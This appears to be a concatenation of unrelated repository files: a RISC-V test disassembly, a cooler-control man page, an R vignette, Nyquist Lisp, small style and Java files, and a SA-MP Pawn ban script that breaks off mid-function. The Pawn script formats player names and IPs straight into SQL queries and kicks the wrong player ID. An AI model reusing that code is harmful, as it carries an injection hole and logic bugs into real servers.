150: 340abb73 csrrc s6,mscratch,s5
154: 340b3af3 csrrc s5,mscratch,s6
158: 340a1bf3 csrrw s7,mscratch,s4
15c: 340bbc73 csrrc s8,mscratch,s7
160: 34003cf3 csrrc s9,mscratch,zero
164: 015d2023 sw s5,0(s10)
168: 016d2223 sw s6,4(s10)
16c: 017d2423 sw s7,8(s10)
170: 018d2623 sw s8,12(s10)
174: 019d2823 sw s9,16(s10)
178: 00002097 auipc ra,0x2
17c: ecc08093 addi ra,ra,-308 # 2044 <test_C_res>
180: 42727f37 lui t5,0x42727
184: e6ff0f13 addi t5,t5,-401 # 42726e6f <_end+0x42724c6b>
188: 340f1073 csrw mscratch,t5
18c: 340f3073 csrc mscratch,t5
190: 0000a023 sw zero,0(ra)
194: 01e0a223 sw t5,4(ra)
198: 00002117 auipc sp,0x2
19c: eb410113 addi sp,sp,-332 # 204c <test_D_res>
1a0: f7ff9fb7 lui t6,0xf7ff9
1a4: 818f8f93 addi t6,t6,-2024 # f7ff8818 <_end+0xf7ff6614>
1a8: 340f9073 csrw mscratch,t6
1ac: 34003073 csrc mscratch,zero
1b0: 34003073 csrc mscratch,zero
1b4: 34003ff3 csrrc t6,mscratch,zero
1b8: 00012023 sw zero,0(sp)
1bc: 01f12223 sw t6,4(sp)
1c0: 00002117 auipc sp,0x2
1c4: e9410113 addi sp,sp,-364 # 2054 <test_E_res>
1c8: fff00213 li tp,-1
1cc: 963852b7 lui t0,0x96385
1d0: 27428293 addi t0,t0,628 # 96385274 <_end+0x96383070>
1d4: 321653b7 lui t2,0x32165
1d8: 49838393 addi t2,t2,1176 # 32165498 <_end+0x32163294>
1dc: 34021073 csrw mscratch,tp
1e0: 3402b2f3 csrrc t0,mscratch,t0
1e4: 3403b3f3 csrrc t2,mscratch,t2
1e8: 34043473 csrrc s0,mscratch,s0
1ec: 00512023 sw t0,0(sp)
1f0: 00712223 sw t2,4(sp)
1f4: 00812423 sw s0,8(sp)
1f8: 00002297 auipc t0,0x2
1fc: e0828293 addi t0,t0,-504 # 2000 <begin_signature>
200: 10000337 lui t1,0x10000
204: 00830313 addi t1,t1,8 # 10000008 <_end+0xfffde04>
208: 00532023 sw t0,0(t1)
20c: 00002297 auipc t0,0x2
210: e5428293 addi t0,t0,-428 # 2060 <end_signature>
214: 10000337 lui t1,0x10000
218: 00c30313 addi t1,t1,12 # 1000000c <_end+0xfffde08>
21c: 00532023 sw t0,0(t1)
220: 00100293 li t0,1
224: 10000337 lui t1,0x10000
228: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
22c: 00532023 sw t0,0(t1)
230: 00000013 nop
234: 00100193 li gp,1
238: 00000073 ecall
0000023c <end_testcode>:
23c: c0001073 unimp
240: 0000 unimp
...
Disassembly of section .tohost:
00001000 <tohost>:
...
00001100 <fromhost>:
...
Disassembly of section .data:
00002000 <begin_signature>:
2000: ffff 0xffff
2002: ffff 0xffff
2004: ffff 0xffff
2006: ffff 0xffff
2008: ffff 0xffff
200a: ffff 0xffff
200c: ffff 0xffff
200e: ffff 0xffff
2010: ffff 0xffff
2012: ffff 0xffff
2014: ffff 0xffff
2016: ffff 0xffff
00002018 <test_A2_res>:
2018: ffff 0xffff
201a: ffff 0xffff
201c: ffff 0xffff
201e: ffff 0xffff
2020: ffff 0xffff
2022: ffff 0xffff
2024: ffff 0xffff
2026: ffff 0xffff
2028: ffff 0xffff
202a: ffff 0xffff
202c: ffff 0xffff
202e: ffff 0xffff
00002030 <test_B_res>:
2030: ffff 0xffff
2032: ffff 0xffff
2034: ffff 0xffff
2036: ffff 0xffff
2038: ffff 0xffff
203a: ffff 0xffff
203c: ffff 0xffff
203e: ffff 0xffff
2040: ffff 0xffff
2042: ffff 0xffff
00002044 <test_C_res>:
2044: ffff 0xffff
2046: ffff 0xffff
2048: ffff 0xffff
204a: ffff 0xffff
0000204c <test_D_res>:
204c: ffff 0xffff
204e: ffff 0xffff
2050: ffff 0xffff
2052: ffff 0xffff
00002054 <test_E_res>:
2054: ffff 0xffff
2056: ffff 0xffff
2058: ffff 0xffff
205a: ffff 0xffff
205c: ffff 0xffff
205e: ffff 0xffff
00002060 <end_signature>:
...
00002100 <begin_regstate>:
2100: 0080 addi s0,sp,64
...
00002200 <end_regstate>:
2200: 0004 0x4
...
| ObjDump | 3 | DuBirdFly/TinyRISCV_Learn | tests/riscv-compliance/build_generated/rv32Zicsr/I-CSRRC-01.elf.objdump | [
"Apache-2.0"
] |
wraith-master(1)
# NAME
*wraith-master* - The CLI frontend for Wraith Master, a Wraith cooler RGB control application
# SYNOPSIS
*wraith-master* [_SPECIAL-OPTIONS_] [_GLOBAL-OPTIONS_]
*wraith-master* {logo|fan|ring} [_COMPONENT-OPTIONS_] [_GLOBAL-OPTIONS_]
# DESCRIPTION
Wraith Master is a feature-complete graphical and command-line application for controlling the RGB LEDs on AMD's Wraith
stock coolers. At the moment, the only supported cooler is the Wraith Prism, but there are plans to add other Wraith
coolers as well.
Designed for feature parity with the official Windows-only Cooler Master application, Wraith Master supports all modes
and settings that the Wraith Prism can use. As the Wraith coolers are capable of storing RGB configurations in-device,
no daemon is required to maintain configurations, and the program can be uninstalled without fear of losing your
settings.
The CLI frontend can be used from installations without a desktop environment, or by those who prefer the command line.
# GLOBAL OPTIONS
*-h*, *--help*
Print program help to the console.
*-V*, *--verbose*
Print debug information to the console as the program is running.
# SPECIAL OPTIONS
*-v*, *--version*
Print the program version to the console.
*-f*, *--firmwareversion*
Print the version of the connected cooler's firmware to the console.
*-R*, *--resettodefault*
Resets the configuration to its out-of-the-box defaults.
*-e*, *--toggleenso*
Toggles Enso mode on/off. Enabling Enso mode clears all settings, and disabling Enso mode restores default settings.
# COMPONENT OPTIONS
*-m*, *--mode*=_MODE_
Changes the mode of this component's LEDs. Each mode varies in terms of what settings it supports, so the following
options may not work depending on which mode is selected. All components share a few modes, those being *off*,
*static*, *cycle*, and *breathe*. The *ring* component additionally has the following modes: *rainbow*, *swirl*,
*chase*, *bounce*, and *morse*.
*-c*, *--color*=_COLOR_
Changes the color of this component's LEDs. The value given to this option can either be a hex color in the format
RRGGBB, or a set of three integers r,g,b.
*-b*, *--brightness*=_BRIGHTNESS_
Changes the brightness of the component's LEDs. The value given to this option should be an integer from 1 to 3,
where 1 is the lowest brightness and 3 is the highest brightness.
*-s*, *--speed*=_SPEED_
Changes the speed of the component's mode. This setting applies to modes where there is some motion involved, like
*rainbow* or *cycle*, which rotate around the ring and translate between colors respectively. The value given to
this option should be an integer from 1 to 5, where 1 is the lowest speed and 5 is the highest speed.
*-d*, *--direction*=_DIRECTION_
Changes the direction of rotation for the ring's mode. This setting only applies to ring modes that rotate, such as
*rainbow* and *swirl*. The value given to this option should be either *clockwise* or *counterclockwise*.
*-r*, *--randomcolor*
Toggles the flag that allows the mode to randomly select a color, rather than use the user-defined color. This
setting only applies to modes that both have motion and allow setting a specific color, like *breathe* and *swirl*.
*-M*, *--mirage*=_VALUE_
Enables or disables fan mirage on the Wraith Prism. This option is independent of the fan's LED mode, and controls
how quickly the fan LEDs should turn on and off to simulate a visual pattern of motion for the fan blades. The value
given to this option should either be three frequencies in the format of r,g,b with values in the range of 45-2000,
or one of the strings "on" or "off".
*-t*, *--morsetext*=_TEXT_
Sets the text used for the ring's *morse* mode. The value given to this option can be either a string of morse code
using dots (.) and dashes (-), along with spaces ( ), or a string of ASCII text to be converted to morse code.
## EXIT STATUS
On success, 0 is returned. A non-zero return code signals a failure.
## COPYRIGHT
Copyright © 2021 Campbell Jones, License: Apache-2.0
## SEE ALSO
*wraith-master-gtk*(1)
https://gitlab.com/serebit/wraith-master
## NOTES
Apache License 2.0
https://www.apache.org/licenses/LICENSE-2.0/
| SuperCollider | 4 | serebit/wraith-master | resources/cli/wraith-master.1.scd | [
"Apache-2.0"
] |
---
title: "Similar packages"
author: Konrad Rudolph
date: "`r Sys.Date()`"
output:
rmarkdown::html_vignette:
toc: true
md_document:
variant: gfm
vignette: >
%\VignetteEngine{knitr::rmarkdown}
%\VignetteIndexEntry{Similar packages}
%\VignetteEncoding{UTF-8}
---
The need for tools to make R code more modular, and to improve code reuse, is
demonstrated by the wealth of related packages that have sprung up over the
years. Many of them have objectives similar to ‘box’, although they vary wildly
in how they approach their common goal, and not all objectives are shared. In
the following I’ve listed the related R packages that I know of. The
descriptions are (mostly) copied from the respective package metadata, and the
interested reader is invited to consult the original documentation.
The list is intended to be a fairly exhaustive — so if you find a missing
package please let me know.
## Tools for writing modular code
* ‘**[modules][]**’ (no relation to the predecessor of ‘box’, also called
‘modules’): Provides modules as an organizational unit for source code.
Modules enforce to be more rigorous when defining dependencies and have a
local search path. They can be used as a sub unit within packages or in
scripts.
* ‘[trinker/**pysty**][pysty]’: ‘Python’ style packages importing using the
common forms of: `import PACKAGE`, `import PACKAGE as ALIAS`, or `from PACKAGE
import FUN1, FUN2, FUN_N`.
* ‘[**Shiny**’ modules][Shiny]: ‘Shiny’ modules address the namespacing problem
in Shiny UI and server logic, adding a level of abstraction beyond functions.
* ‘[Novartis/**tidymodules**][tidymodules]’: ‘tidymodules’ offers a robust
framework for developing ‘Shiny’ modules based on R6 classes which should
facilitates inter-modules communication.
* ‘**[supreme][]**’: A modeling tool helping users better structure ‘Shiny’
applications developed with ‘Shiny’ modules. Users are able to: 1. Visualize
relationship of modules in existing applications 2. Design new applications
from scratch.
## Tools for loading code
The packages listed above also provide means for loading code; however, I won’t
replicate them here. Some of the tools below have subsequently also gained
capabilities for authoring modular code, but since their initial and primary
purpose was *loading* code, they’re instead listed below.
* ‘**[import][]**’: Alternative mechanism for importing objects from packages
and R modules. The syntax allows for importing multiple objects with a single
command in an expressive way. The import package bridges some of the gap
between using library (or require) and direct (single-object) imports.
Furthermore the imported objects are not placed in the current environment.
* ‘**[conflicted][]**’: R's default conflict management system gives the most
recently loaded package precedence. This can make it hard to detect conflicts,
particularly when they arise because a package update creates ambiguity that
did not previously exist. 'conflicted' takes a different approach, making
every conflict an error and forcing you to choose which function to use.
* ‘**[pacman][]**’: Tools to more conveniently perform tasks associated with
add-on packages. pacman conveniently wraps library and package related
functions and names them in an intuitive and consistent fashion. It seeks to
combine functionality from lower level functions which can speed up workflow.
* ‘[jonocarroll/**importAs**][importAs]’: Import namespaces as shorthand symbols
rather than full package names, in a python-esque fashion.
* ‘[**needs**][needs]’: A simple function for easier package loading
and auto-installation.
* ‘[**importar**][importar]’: Enables ‘Python’-like importing/loading
of packages or functions with aliasing to prevent namespace conflicts.
* [**xfun**::pkg_attach()][xfun]: A vectorized version of `library()`
## Tools for organising code
* ‘**[RSuite][]**’: Supports safe and reproducible solutions development in R.
It will help you with environment separation per project, dependency
management, local packages creation and preparing deployment packs for your
solutions.
* ‘**[mvbutils][]**’: Hierarchical workspace tree, code editing and backup, easy
package prep, editing of packages while loaded, per-object lazy-loading, easy
documentation, macro functions, and miscellaneous utilities.
[conflicted]: https://conflicted.r-lib.org/
[import]: https://import.rticulate.org/
[importAs]: https://jonocarroll.github.io/importAs/
[modules]: https://cran.r-project.org/package=modules
[mvbutils]: https://cran.r-project.org/package=mvbutils
[needs]: https://cran.r-project.org/package=needs
[pacman]: http://trinker.github.io/pacman/
[pkgload]: https://cran.r-project.org/web/packages/pkgload/index.html
[pysty]: https://trinkerrstuff.wordpress.com/2018/02/22/minimal-explicit-python-style-package-loading-for-r/
[RSuite]: https://rsuite.io/
[Shiny]: https://shiny.rstudio.com/articles/modules.html
[supreme]: https://strboul.github.io/supreme/
[tidymodules]: https://opensource.nibr.com/tidymodules/
[xfun]: https://yihui.org/en/2018/09/xfun-pkg-attach/
[importar]: https://cran.r-project.org/package=importar
| RMarkdown | 4 | klmr/box | vignettes/related.rmd | [
"MIT"
] |
;; seqmidi.lsp -- functions to use MIDI files in Nyquist
;
; example call:
;
; (seq-midi my-seq
; (note (chan pitch velocity) (= chan 2) (my-note pitch velocity))
; (ctrl (chan control value) (...))
; (bend (chan value) (...))
; (touch (chan value) (...))
; (prgm (chan value) (setf (aref my-prgm chan) value))
;; seq-midi - a macro to create a sequence of sounds based on midi file
;
;
(defmacro seq-midi (the-seq &rest cases)
(seq-midi-cases-syntax-check cases)
`(let (_the-event _next-time _the-seq _seq-midi-closure _nyq-environment
_the-seq _tag)
(setf _the-seq (seq-copy ,the-seq))
(setf _nyq-environment (nyq:the-environment))
(setf _seq-midi-closure #'(lambda (t0)
(format t "_seq_midi_closure: t0 = ~A~%" t0) ;DEBUG
(prog (_the-sound)
loop ; go forward until we find note to play (we may be there)
; then go forward to find time of next note
(setf _the-event (seq-get _the-seq))
; (display "seq-midi" _the-event t0)
(setf _tag (seq-tag _the-event))
(cond ((= _tag seq-ctrl-tag)
,(make-ctrl-handler cases))
((= _tag seq-bend-tag)
,(make-bend-handler cases))
((= _tag seq-touch-tag)
,(make-touch-handler cases))
((= _tag seq-prgm-tag)
,(make-prgm-handler cases))
((= _tag seq-done-tag)
; (format t "_seq_midi_closure: seq-done")
(cond (_the-sound ; this is the last sound of sequence
; (format t "returning _the-sound~%")
(return _the-sound))
(t ; sequence is empty, return silence
; (format t "returning snd-zero~%")
(return (snd-zero t0 *sound-srate*)))))
((and (= _tag seq-note-tag)
,(make-note-test cases))
(cond (_the-sound ; we now have time of next note
; (display "note" (seq-time _the-event))
(setf _next-time (/ (seq-time _the-event) 1000.0))
(go exit-loop))
(t
(setf _the-sound ,(make-note-handler cases))))))
(seq-next _the-seq)
(go loop)
exit-loop ; here, we know time of next note
(display "seq-midi" _next-time) ;DEBUG
(format t "seq-midi calling snd-seq\n") ;DEBUG
(return (snd-seq
(set-logical-stop-abs _the-sound
(local-to-global _next-time))
_seq-midi-closure)))))
(display "calling closure" (get-lambda-expression _seq-midi-closure)) ; DEBUG
(funcall _seq-midi-closure (local-to-global 0))))
(defun seq-midi-cases-syntax-check (cases &aux n)
(cond ((not (listp cases))
(break "syntax error in" cases)))
(dolist (case cases)
(cond ((or (not (listp case))
(not (member (car case) '(NOTE CTRL BEND TOUCH PRGM)))
(not (listp (cdr case)))
(not (listp (cadr case)))
(not (listp (cddr case)))
(not (listp (last (cddr case)))))
(break "syntax error in" case))
((/= (length (cadr case))
(setf n (cdr (assoc (car case)
'((NOTE . 3) (CTRL . 3) (BEND . 2)
(TOUCH . 2) (PRGM . 2))))))
(break (format nil "expecting ~A arguments in" n) case))
((and (eq (car case) 'NOTE)
(not (member (length (cddr case)) '(1 2))))
(break
"note handler syntax is (NOTE (ch pitch vel) [filter] behavior)"
case)))))
(defun make-ctrl-handler (cases)
(let ((case (assoc 'ctrl cases)))
(cond (case
`(let ((,(caadr case) (seq-channel _the-event))
(,(cadadr case) (seq-control _the-event))
(,(caddar (cdr case)) (seq-value _the-event)))
,@(cddr case)))
(t nil))))
(defun make-bend-handler (cases)
(let ((case (assoc 'bend cases)))
(cond (case
`(let ((,(caadr case) (seq-channel _the-event))
(,(cadadr case) (seq-value _the-event)))
,@(cddr case)))
(t nil))))
(defun make-touch-handler (cases)
(let ((case (assoc 'touch cases)))
(cond (case
`(let ((,(caadr case) (seq-channel _the-event))
(,(cadadr case) (seq-value _the-event)))
,@(cddr case)))
(t nil))))
(defun make-prgm-handler (cases)
(let ((case (assoc 'pgrm cases)))
(cond (case
`(let ((,(caadr case) (seq-channel _the-event))
(,(cadadr case) (seq-value _the-event)))
,@(cddr case)))
(t nil))))
(defun make-note-test (cases)
(let ((case (assoc 'note cases)))
(cond ((and case (cdddr case))
(caddr case))
(t t))))
(defun make-note-handler (cases)
(let ((case (assoc 'note cases))
behavior)
(cond ((and case (cdddr case))
(setf behavior (cadddr case)))
(t
(setf behavior (caddr case))))
`(with%environment _nyq-environment
(with-note-args ,(cadr case) _the-event ,behavior))))
(defmacro with-note-args (note-args the-event note-behavior)
; (display "with-note-args" the-event)
`(let ((,(car note-args) (seq-channel ,the-event))
(,(cadr note-args) (seq-pitch ,the-event))
(,(caddr note-args) (seq-velocity ,the-event)))
(at (/ (seq-time ,the-event) 1000.0)
(stretch (/ (seq-duration ,the-event) 1000.0) ,note-behavior))))
;(defun seq-next-note-time (the-seq find-first-flag)
; (prog (event)
; (if find-first-flag nil (seq-next the-seq))
;loop
; (setf event (seq-get the-seq))
; (cond ((eq (seq-tag event) seq-done-tag)
; (return (if find-first-flag 0.0 nil)))
; ((eq (seq-tag event) seq-note-tag)
; (return (/ (seq-time event) 1000.0))))
; (seq-next the-seq)
; (go loop)))
;
;; for SAL we can't pass in lisp expressions as arguments, so
;; we pass in functions instead, using keyword parameters for
;; ctrl, bend, touch, and prgm. The note parameter is required.
;;
(defun seq-midi-sal (seq note &optional ctrl bend touch prgm)
(seq-midi seq (note (chan pitch vel) (funcall note chan pitch vel))
(ctrl (chan num val) (if ctrl (funcall ctrl chan num val)))
(bend (chan val) (if bend (funcall bend chan val)))
(touch (chan val) (if touch (funcall touch chan val)))
(prgm (chan val) (if prgm (funcall prgm chan val)))))
| Common Lisp | 5 | joshrose/audacity | nyquist/seqmidi.lsp | [
"CC-BY-3.0"
] |
import Expression, VariableDecl
Declaration: abstract class extends Expression {
init: func ~declaration (.token) { super(token) }
addTypeArg: func (typeArg: VariableDecl) -> Bool { false }
}
| ooc | 3 | fredrikbryntesson/launchtest | source/rock/middle/Declaration.ooc | [
"MIT"
] |
$first-style = dotted
@import "subdir/foo.import.styl"
.el1 { border-style: $first-style; }
.el2 { border-style: $el2-style; }
.el3 { border-style: $el3-style; }
@import "{local-pack}/p.styl"
.el4 { border-style: $el4-style; }
| Stylus | 3 | joseconstela/meteor | tools/tests/apps/caching-stylus/top.styl | [
"Apache-2.0",
"BSD-2-Clause",
"MIT"
] |
package com.baeldung.circuitbreaker;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.cloud.client.circuitbreaker.CircuitBreaker;
import org.springframework.cloud.client.circuitbreaker.CircuitBreakerFactory;
import org.springframework.stereotype.Service;
import org.springframework.web.client.RestTemplate;
import java.nio.file.Files;
import java.nio.file.Paths;
@Service
public class AlbumService {
private static final Logger LOGGER = LoggerFactory.getLogger(AlbumService.class);
@Autowired
private CircuitBreakerFactory circuitBreakerFactory;
private RestTemplate restTemplate = new RestTemplate();
public String getAlbumList() {
CircuitBreaker circuitBreaker = circuitBreakerFactory.create("circuitbreaker");
String url = "https://jsonplaceholder.typicode.com/albums";
return circuitBreaker.run(() -> restTemplate.getForObject(url, String.class), throwable -> getDefaultAlbumList());
}
private String getDefaultAlbumList() {
try {
return new String(Files.readAllBytes(Paths.get(getClass().getClassLoader().getResource("fallback-album-list.json").toURI())));
} catch (Exception e) {
LOGGER.error("error occurred while reading the file", e);
}
return null;
}
}
| Java | 4 | DBatOWL/tutorials | spring-cloud/spring-cloud-circuit-breaker/src/main/java/com/baeldung/circuitbreaker/AlbumService.java | [
"MIT"
] |
.sub-common {
content: 'sub-common';
} | CSS | 0 | Brain777777/taro | packages/taro-mini-runner/src/__tests__/fixtures/mini-split-chunks/src/css/sub-common.css | [
"MIT"
] |
lol iz 71
wtf lol iz liek 71
lmao lol
brb
w00t Hello, World!
rofl lol
lol iz 101
rofl lol
lol iz 108
rofl lol
rofl lol
lool iz 111
rofl lool
loool iz 44
rofl loool
loool iz 32
rofl loool
loool iz 87
rofl loool
rofl lool
lool iz 114
rofl lool
rofl lol
lol iz 100
rofl lol
lol iz 33
rofl lol
stfu
| Omgrofl | 0 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Omgrofl/hello.omgrofl | [
"MIT"
] |
{# Copyright 2016 The Chromium Authors. All rights reserved. #}
{# Use of this source code is governed by a BSD-style license that can be #}
{# found in the LICENSE file. #}
// Generated by //build/android/generate_gradle.py
buildscript {
repositories {
google()
jcenter()
{% if channel == 'canary' %}
// Workaround for http://b/144885480.
//maven() {
// url "http://dl.bintray.com/kotlin/kotlin-eap"
//}
{% endif %}
}
dependencies {
classpath "com.android.tools.build:gradle:7.0.3"
}
}
| HTML+Django | 3 | Chilledheart/naiveproxy | src/build/android/gradle/root.jinja | [
"BSD-3-Clause"
] |
#include <a_samp>
#include <kickbanfix>
#include <zcmd>
#include <easydialog>
#include <sscanf2>
#include <TimestampToDate>
#define COLOR_WHITE (0xFFFFFFFF)
#define COL_WHITE "{FFFFFF}"
#define COLOR_RED (0xFF0400FF)
#define COL_RED "{FF0400}"
#define COLOR_TOMATO (0xFF6347FF)
#define COL_TOMATO "{FF6347}"
#define COLOR_PINK (0xFF0090FF)
#define COL_PINK "{FF0090}"
#define COLOR_GREEN (0x6AFF2AFF)
#define COL_GREEN "{6AFF2A}"
const KICK_DELAY = 50; // in ms
const BAN_MASK = (-1 << (32 - (/*this is the CIDR ip detection range [def: 26]*/26)));
new DB:banDatabase;
new banTargetID[MAX_PLAYERS];
new banTargetDays[MAX_PLAYERS];
new banTargetReason[MAX_PLAYERS][64];
new unbanTargetID[MAX_PLAYERS];
new unbanTargetName[MAX_PLAYERS][MAX_PLAYER_NAME];
new unbanTargetIp[MAX_PLAYERS][18];
new Text:banTextDraw[2];
Ban_GetLongIP(const ip[])
{
new len = strlen(ip);
if (!(len > 0 && len < 17))
{
return 0;
}
new count;
new pos;
new dest[3];
new val[4];
for (new i; i < len; i++)
{
if (ip[i] == '.' || i == len)
{
strmid(dest, ip, pos, i);
pos = (i + 1);
val[count] = strval(dest);
if (!(0 <= val[count] <= 255))
{
return 0;
}
count++;
if (count > 3)
{
return 0;
}
}
}
if (count != 3)
{
return 0;
}
return ((val[0] * 16777216) + (val[1] * 65536) + (val[2] * 256) + (val[3]));
}
ReturnDate(timestamp)
{
new year, month, day, unused;
TimestampToDate(timestamp, year, month, day, unused, unused, unused, 0);
static monthname[15];
switch (month)
{
case 1: monthname = "January";
case 2: monthname = "February";
case 3: monthname = "March";
case 4: monthname = "April";
case 5: monthname = "May";
case 6: monthname = "June";
case 7: monthname = "July";
case 8: monthname = "August";
case 9: monthname = "September";
case 10: monthname = "October";
case 11: monthname = "November";
case 12: monthname = "December";
}
new date[30];
format(date, sizeof (date), "%i %s, %i", day, monthname, year);
return date;
}
ReturnTimelapse(start, till)
{
new ret[32];
new seconds = till - start;
const
MINUTE = 60,
HOUR = 60 * MINUTE,
DAY = 24 * HOUR,
MONTH = 30 * DAY;
if (seconds == 1)
format(ret, sizeof(ret), "a second");
if (seconds < (1 * MINUTE))
format(ret, sizeof(ret), "%i seconds", seconds);
else if (seconds < (2 * MINUTE))
format(ret, sizeof(ret), "a minute");
else if (seconds < (45 * MINUTE))
format(ret, sizeof(ret), "%i minutes", (seconds / MINUTE));
else if (seconds < (90 * MINUTE))
format(ret, sizeof(ret), "an hour");
else if (seconds < (24 * HOUR))
format(ret, sizeof(ret), "%i hours", (seconds / HOUR));
else if (seconds < (48 * HOUR))
format(ret, sizeof(ret), "a day");
else if (seconds < (30 * DAY))
format(ret, sizeof(ret), "%i days", (seconds / DAY));
else if (seconds < (12 * MONTH))
{
new months = floatround(seconds / DAY / 30);
if (months <= 1)
format(ret, sizeof(ret), "a month");
else
format(ret, sizeof(ret), "%i months", months);
}
else
{
new years = floatround(seconds / DAY / 365);
if (years <= 1)
format(ret, sizeof(ret), "a year");
else
format(ret, sizeof(ret), "%i years", years);
}
return ret;
}
public OnFilterScriptInit()
{
banDatabase = db_open("bans.db");
db_query(banDatabase, "PRAGMA synchronous = NORMAL");
db_query(banDatabase, "PRAGMA journal_mode = WAL");
db_query(banDatabase, "CREATE TABLE IF NOT EXISTS `users` \
(`id` INTEGER PRIMARY KEY, \
`name` VARCHAR(24), \
`ip` VARCHAR(18), \
`longip` INTEGER, \
`expire_timestamp` INTEGER, \
`register_timestamp` INTEGER, \
`last_activity_timestamp` INTEGER, \
`admin` VRACHAR(24), \
`reason` VARCHAR(128)\
)");
banTextDraw[0] = TextDrawCreate(0.000000, 0.000000, "_");
TextDrawBackgroundColor(banTextDraw[0], 255);
TextDrawFont(banTextDraw[0], 1);
TextDrawLetterSize(banTextDraw[0], 0.000000, 480.000000);
TextDrawColor(banTextDraw[0], -1);
TextDrawSetOutline(banTextDraw[0], 0);
TextDrawSetProportional(banTextDraw[0], 1);
TextDrawSetShadow(banTextDraw[0], 1);
TextDrawUseBox(banTextDraw[0], 1);
TextDrawBoxColor(banTextDraw[0], 255);
TextDrawTextSize(banTextDraw[0], 640.000000, 0.000000);
TextDrawSetSelectable(banTextDraw[0], 0);
banTextDraw[1] = TextDrawCreate(310.000000, 200.000000, "~r~You are banned!");
TextDrawAlignment(banTextDraw[1], 2);
TextDrawBackgroundColor(banTextDraw[1], 255);
TextDrawFont(banTextDraw[1], 1);
TextDrawLetterSize(banTextDraw[1], 1.400000, 8.000000);
TextDrawColor(banTextDraw[1], -1);
TextDrawSetOutline(banTextDraw[1], 0);
TextDrawSetProportional(banTextDraw[1], 1);
TextDrawSetShadow(banTextDraw[1], 1);
TextDrawSetSelectable(banTextDraw[1], 0);
return 1;
}
public OnFilterScriptExit()
{
db_close(banDatabase);
return 1;
}
public OnPlayerConnect(playerid)
{
new name[MAX_PLAYER_NAME];
new ip[18];
GetPlayerName(playerid, name, sizeof name);
GetPlayerIp(playerid, ip, sizeof ip);
new string[150];
format(string, sizeof string, "SELECT * FROM `users` WHERE `name` = '%s' OR `ip` = '%s' OR (`longip` != 0 AND (`longip` & %i) = %i) LIMIT 1", name, ip, BAN_MASK, (Ban_GetLongIP(ip) & BAN_MASK));
new DBResult:result = db_query(banDatabase, string);
if (db_num_rows(result) != 0)
{
if (db_get_field_assoc_int(result, "expire_timestamp") != 0 && db_get_field_assoc_int(result, "expire_timestamp") <= gettime())
{
format(string, sizeof string, "DELETE FROM `users` WHERE `id` = %i", db_get_field_assoc_int(result, "id"));
db_query(banDatabase, string);
format(string, sizeof string, "Welcome back to server, its been %s since your ban was lifted.", ReturnTimelapse(db_get_field_assoc_int(result, "expire_timestamp"), gettime()));
SendClientMessage(playerid, COLOR_GREEN, string);
}
else
{
format(string, sizeof string, "UPDATE `users` SET `last_activity_timestamp` = %i WHERE `id` = %i", gettime(), db_get_field_assoc_int(result, "id"));
db_query(banDatabase, string);
for (new i; i < 100; i++)
{
SendClientMessage(playerid, -1, "");
}
new admin[MAX_PLAYER_NAME];
db_get_field_assoc(result, "admin", admin, sizeof admin);
new reason[128];
db_get_field_assoc(result, "reason", reason, sizeof reason);
if (db_get_field_assoc_int(result, "expire_timestamp") == 0)
{
format(string, sizeof string, "You are still banned from server | Admin who banned you: %s | Banned on: %s | Timeleft for unban: Never (permanent ban)", admin, ReturnDate(db_get_field_assoc_int(result, "register_timestamp")));
SendClientMessageToAll(COLOR_RED, string);
}
else
{
format(string, sizeof string, "You are still banned from server | Admin who banned you: %s | Banned on: %s | Timeleft for unban: %s", admin, ReturnDate(db_get_field_assoc_int(result, "register_timestamp")), ReturnTimelapse(gettime(), db_get_field_assoc_int(result, "expire_timestamp")));
SendClientMessageToAll(COLOR_RED, string);
}
format(string, sizeof string, "Reason for ban: %s", reason);
SendClientMessageToAll(COLOR_RED, string);
TextDrawShowForPlayer(playerid, banTextDraw[0]);
TextDrawShowForPlayer(playerid, banTextDraw[1]);
return Kick(banTargetID[playerid], KICK_DELAY);
}
}
db_free_result(result);
return 1;
}
CMD:ban(playerid, params[])
{
if (!IsPlayerAdmin(playerid))
{
return SendClientMessage(playerid, COLOR_TOMATO, "You should be RCON Admin to use this command.");
}
new targetid;
new reason[64];
new days;
if (sscanf(params, "uis[64]", targetid, days, reason))
{
SendClientMessage(playerid, COLOR_WHITE, "Usage: /ban [id/name] [days] [reason]");
return SendClientMessage(playerid, COLOR_WHITE, "Note: 0 days means a permanent ban from server.");
}
if (!IsPlayerConnected(targetid))
{
return SendClientMessage(playerid, COLOR_TOMATO, "Target player isn't online.");
}
if (days < 0 || days > 365)
{
return SendClientMessage(playerid, COLOR_TOMATO, "Number of days cannot be negative or greater than 365 days i.e. a year! [0 = permanent ban]");
}
if (strlen(reason) < 4)
{
return SendClientMessage(playerid, COLOR_TOMATO, "Invalid reason entered.");
}
banTargetID[playerid] = targetid;
banTargetDays[playerid] = days;
format(banTargetReason[playerid], sizeof banTargetReason[], reason);
new name[MAX_PLAYER_NAME];
new ip[18];
GetPlayerName(targetid, name, sizeof name);
GetPlayerIp(targetid, ip, sizeof ip);
new string[1024] = ""COL_WHITE"You are about to ban a player! Please confirm the following\ncredentials and click \""COL_PINK"Ban"COL_WHITE"\" if they are correct, else click \""COL_TOMATO"Cancel"COL_WHITE"\".";
if (days != 0)
{
format(string, sizeof string, "%s\n\n- "COL_PINK"Player: "COL_WHITE"%s (IP: %s)\n- "COL_PINK"Type: "COL_WHITE"Temporary - %i days\n- "COL_PINK"Reason: "COL_WHITE"%s",
string, name, ip, days, reason);
}
else
{
format(string, sizeof string, "%s\n\n- "COL_PINK"Player: "COL_WHITE"%s (IP: %s)\n- "COL_PINK"Type: "COL_WHITE"Permanent\n- "COL_PINK"Reason: "COL_WHITE"%s",
string, name, ip, reason);
}
strcat(string, "\n\n"COL_WHITE"Admin Note: If the cheat player used is challengable, make sure you have\nsome kind of evidence in case a ban appeal is posted.");
return Dialog_Show(playerid, BAN_PLAYER, DIALOG_STYLE_MSGBOX, "Ban A Player...", string, "Ban", "Cancel");
}
Dialog:BAN_PLAYER(playerid, response, listitem, inputtext[])
{
if (!IsPlayerConnected(banTargetID[playerid]))
{
return SendClientMessage(playerid, COLOR_TOMATO, "The player you were trying to ban left the server recently.");
}
new string[512];
if (!response)
{
new name[MAX_PLAYER_NAME];
GetPlayerName(banTargetID[playerid], name, sizeof name);
format(string, sizeof string, "Ban on %s was canceled by you!", name);
return SendClientMessage(playerid, COLOR_TOMATO, string);
}
new name[MAX_PLAYER_NAME];
